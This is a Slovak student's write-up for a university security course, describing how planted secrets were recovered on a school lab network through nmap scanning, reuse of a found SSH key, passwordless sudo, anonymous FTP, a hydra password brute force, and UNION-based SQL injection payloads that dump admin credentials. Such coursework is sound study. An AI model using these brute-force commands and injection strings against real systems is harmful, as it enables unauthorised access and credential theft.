Projekt 1 - Mystery of BIS

Michal Ormoš (xormos00@stud.fit.vutbr.cz)

26. listopadu 2017

Abstrakt

Táto správa predstavuje dokumentáciu k prvému projektu pre predmet Bezpečnost informačních systémů na Fakulte Informačních Technologií, Vysokého učení technického v Brně. Správa popisuje ako som postupoval pri získavaní tajomstiev, ktoré su uložené v súbore secrets.txt. Poradie získavania tajomstiev bolo nasledovné A-G-B-C-E-D-F. Získavanie hesiel si vyžiadalo mnoho pokusov a omylov, tu popisujem len tie úspešné, ktoré viedli k získaniu tajomstva. Od mapovania siete až po postupy prelomenia jednotlivých služieb systému, boli všetky kroky vykonané v rámci projektu na škole vytvorenom servery a nebol nejak porušený zákon.

1 Mapovanie siete

Po provom prihlásení na BIS server som pomocou príkazu `ifconfig` zistil IP adresu zariadenia pripojeného k sieti `192.168.122.108`, následne som odstránil pomocou masky potrebné trojice čísel adresy, aby som dostal adresu siete `192.168.122.0/24`. S použitím príkazu `nmap` a jeho vhodných prepínačov `nmap -sV -T4 -F 192.168.122.0/24` som dokázal zmapovať sieť rovnako ako aj jej služby. Spomedzi staníc užívateľov som objavil pár zaujímavých ptestX serverov.

```
Nmap scan report for ptest1.local (192.168.122.243)
Host is up (0.0040s latency).
Not shown: 97 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
111/tcp  open  rpcbind 2-4 (RPC #100000)
2049/tcp open  nfs     3-4 (RPC #100003)

Nmap scan report for ptest2.local (192.168.122.204)
Host is up (0.0039s latency).
Not shown: 97 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
111/tcp open  rpcbind 2-4 (RPC #100000)

Nmap scan report for ptest3.local (192.168.122.160)
Host is up (0.0033s latency).
Not shown: 95 closed ports
```

```
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
111/tcp  open  rpcbind  2-4 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
3306/tcp open  mysql?
```

```
Nmap scan report for ptest4.local (192.168.122.10)
Host is up (0.00088s latency).
Not shown: 998 filtered ports
PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
21/tcp open   ftp      vsftpd 3.0.2
MAC Address: 52:54:00:AB:84:4E (QEMU Virtual NIC)
Service Info: OS: Unix
```

2 Prelomenie ssh

Po prihlásení v defaultnom priečinku som nenašiel nič zaujímavé až na skryté adresáre, kde ma zaujal adresár `.shh/`. V ňom som veľmi jednoducho našiel `config` súbor, ktorý obsahoval `private_key` pomocou ktorého som sa cez službu ssh dokázal prihlásiť na stanicu `centos`. Zisťujem, že užívateľ `centos` ma väčšie práva ako uživateľ `student`. Na prednáške bolo povedané, že máme hľadať tajomstvá označené ako `secrets.txt`. Skúšam jednoduché použitie príkazu `sudo find -name "secret.txt"`. Na moje prekvapenie `sudo` práva nevyžadujú heslo a objavujem súbor `secret.txt` v zložke `./var/local/eis/secret.txt`. Po otvorení zložky získavam tajomstvo A.

```
centos@ptest1
29.10.2017 15:28:40
Ziskali jste tajemstvi "A:29:10:15:28:02:bff75d050fa9730ff855167..."
```

Neskôr som si uvedomil, že slová "secrets"môžem hľadať všeobecnejšie a skúšam príkaz `sudo find -name "sec*"` na servery `ptest1`. Obajavujem súbor `./root/secret2/secret2.txt`

```
centos@ptest1
30.10.2017 20:22:30
Ziskali jste tajemstvi "B:30:10:20:22:01:4c046ae9494b027c7dc21f..."
```

3 FTP

Pomocou nmap som zistil, že server ptest4 beží pod FTP, teda skúšam hľadat exploity či backdoory na danú verziu `ftp vsftpd 3.0.2`. Zisťujem, že na FTP sa dá pripojit pomocou anonymous účtu ak to server podporuje, tak to skúšam, ako heslo nezadávam nič.

```
[centos@ptest1 ~]$ ftp 192.168.122.10
Connected to 192.168.122.10 (192.168.122.10).
220 (vsFTPd 3.0.2)
```

```
Name (192.168.122.10:centos): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Úspešne som sa dostal na FTP server ptest4, ktorý prehľadávam a objavuem súbor `definitely-not-a-secret.gif`, ktorý skopírujem na server `ptest1`, otváram ho klasicky v editore `vim` a pohľadom vidím dalšie tajomstvo:

```
30.10.2017 20:18:59
Ziskali jste tajemstvi "G:30:10:00:11:01:bb285c72b0c1421a7f203c..."
```

4 Prelomenie ptest2

Po zmapovaní siete viem, že sa môžem zamerať napríklad na server `ptest2`. Vidím, že na ňom beží služba `ssh`. Po prvom príhlásení na sevrer BIS som objavil email `Trash`, kde sa bavili dvaja užívatelia o nejakej roboticke ruke. Rovnako pri zisťvaní nástrojov, ktoré mám k dispozícii som objavil nástroj `hydra`, ktorý viem, že slúži na skúšanie hesiel. Preto postupne skúšam mená užívateľov z emailu a zoznam 500 najčastejšie používaných hesiel. Prebieha to veľmi rýchlo a nakoniec žnem úspech s užívateľom `anna` a zisťujem jej heslo `princess`.

```
[centos@ptest1 ~]$ sudo hydra -l anna -P pswd.txt ssh://ptest2
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military
or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-11-24 19:17:19
[WARNING] Many SSH configurations limit the number of parallel tasks,
it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 500 login tries
(l:1/p:500), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: ptest2   login: anna   password: princess
```

Pomocou `ssh` sa pripájam na užívateľa `anna` s ukradnutým heslom. Hneď objavumej súbor `secret.txt`

```
[anna@ptest2 ~]$
24.11.2017 19:19:01
Ziskali jste tajemstvi "C:24:11:19:19:02:5984869c7846e606c58c6661..."
```

5 Http služby

Pomocou mapovania siete som objavil http služby na serveroch `ptest2` a `ptest3`, obe spúštam v terminály pomocou prehliadača `lynx`.

5.1 ptest2

ptest2 obsahuje prihlasovací formulár. Skúšam rôzne kombinácie hesiel pre užívateľa anna, rovnako ako aj slovníkové heslá, ale bez úspechu. Kedže sa priamo nachádzam na servery na ktorom toto rozhranie beží a vďaka získania prístupu k úžívateľovi anna, tak skúšam prehľadávať www zložky stanice ptest2. Náhodou objavujem neštastne uložené heslo admina v súbore /var/www/html/action_page.php vo formáte:

```
    if (  $uname == 'admin'
       && $pwd   == '.8}Yg3,9ro>&jR{') {

       $_SESSION['logged'] = True;
?>
<!DOCTYPE html>
<html>
<body>
You were successfully logged in.<br />
```

Neostáva už nič iné len ako pomocou nástroja lynx otvoriť http rozhranie lynx http://ptest2.local a zadať údaje pre prihlásenie. Úspešne som sa prihlásil ako admin a po stalčení tlačidla continue získavam tajomstvo.

```
24.11.2017 19:24:15
Ziskali jste tajemstvi "E:24:11:19:24:01:8bc4f8eb094d449b31ed2fd4..."
```

5.2 ptest3

Po spustení ptest3 pomocou programu lynx sa mi objavuje formulár databázy pre vyhľadávanie užívateľov spoločnosti. Intuícia nešpekáva pokúsiť sa o SQL injection, tak ako bolo vysvetľované na prednáškach. Do vyhľadávacieho okna skúšam zadať xyz", aby som uzavrel vyhľadávací SELECT a dostal som:

```
Error: You have an error in your SQL syntax; check the manual
that corresponds to your MariaDB server version for the right
syntax to use near '%"' at line 1 Check for errors in your query:
SELECT id, name, email, address FROM contact WHERE name LIKE "%xyz"%"
© Smith's
```

Teda viem ako tento príkaz SELECT vyzerá a postupne sa ho budem snažiť zneužiť. Ďalej som postupoval podľa overených návodov z internetu a prednášok. Získal som mená tabuliek, kde ma zaujali predovšetkým dve tabuľky:

```
xyz" UNION ALL SELECT TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME,
TABLE_TYPE FROM information_schema.tables WHERE TABLE_NAME LIKE "

def  sql_injection            auth          BASE TABLE
def  sql_injection            contact       BASE TABLE
```

Získal som mená stĺpcov tabuľky auth:

```
wtf" UNION ALL SELECT column_name, 2, 2, 2 FROM
information_schema.columns WHERE TABLE_NAME LIKE "auth

    ID             Name            E-mail Address
   3949   test AND 9272=3634-- IwtF
   id     2                        2      2
   login  2                        2      2
   passwd 2                        2      2
```

A tak už ostávalo len vypísať informácie o administrátorovi, kde som v poli jeho hesla objavil aj tajomstvo:

```
wtf" UNION ALL SELECT login, passwd, 2, 2
FROM auth WHERE login LIKE "admin%

25.11.2017 16:25:55
F:25:11:16:25:01:d3a3c1b836fb77a2173a988d67afbf85f0d22fe3178f89..."
```

6 Využívanie informácií z Emailu

Z emailu `Trash`, z ktorého som získal uživateľské meno `anna`, skúšam použiť aj kľúčové slová. So slovom `robocop` mám úspech a na servery `ptest2` v ňom objavujem dalšie tajomstvo.

```
[anna@ptest2 /]$ find . -name "robocop"
...
./usr/bin/robocop
...
[anna@ptest2 /]$ vim ./usr/bin/robocop

24.11.2017 19:27:55
Ziskali jste tajemstvi "D:24:11:19:27:01:47d9e4ab9e10911ee7786a..."
```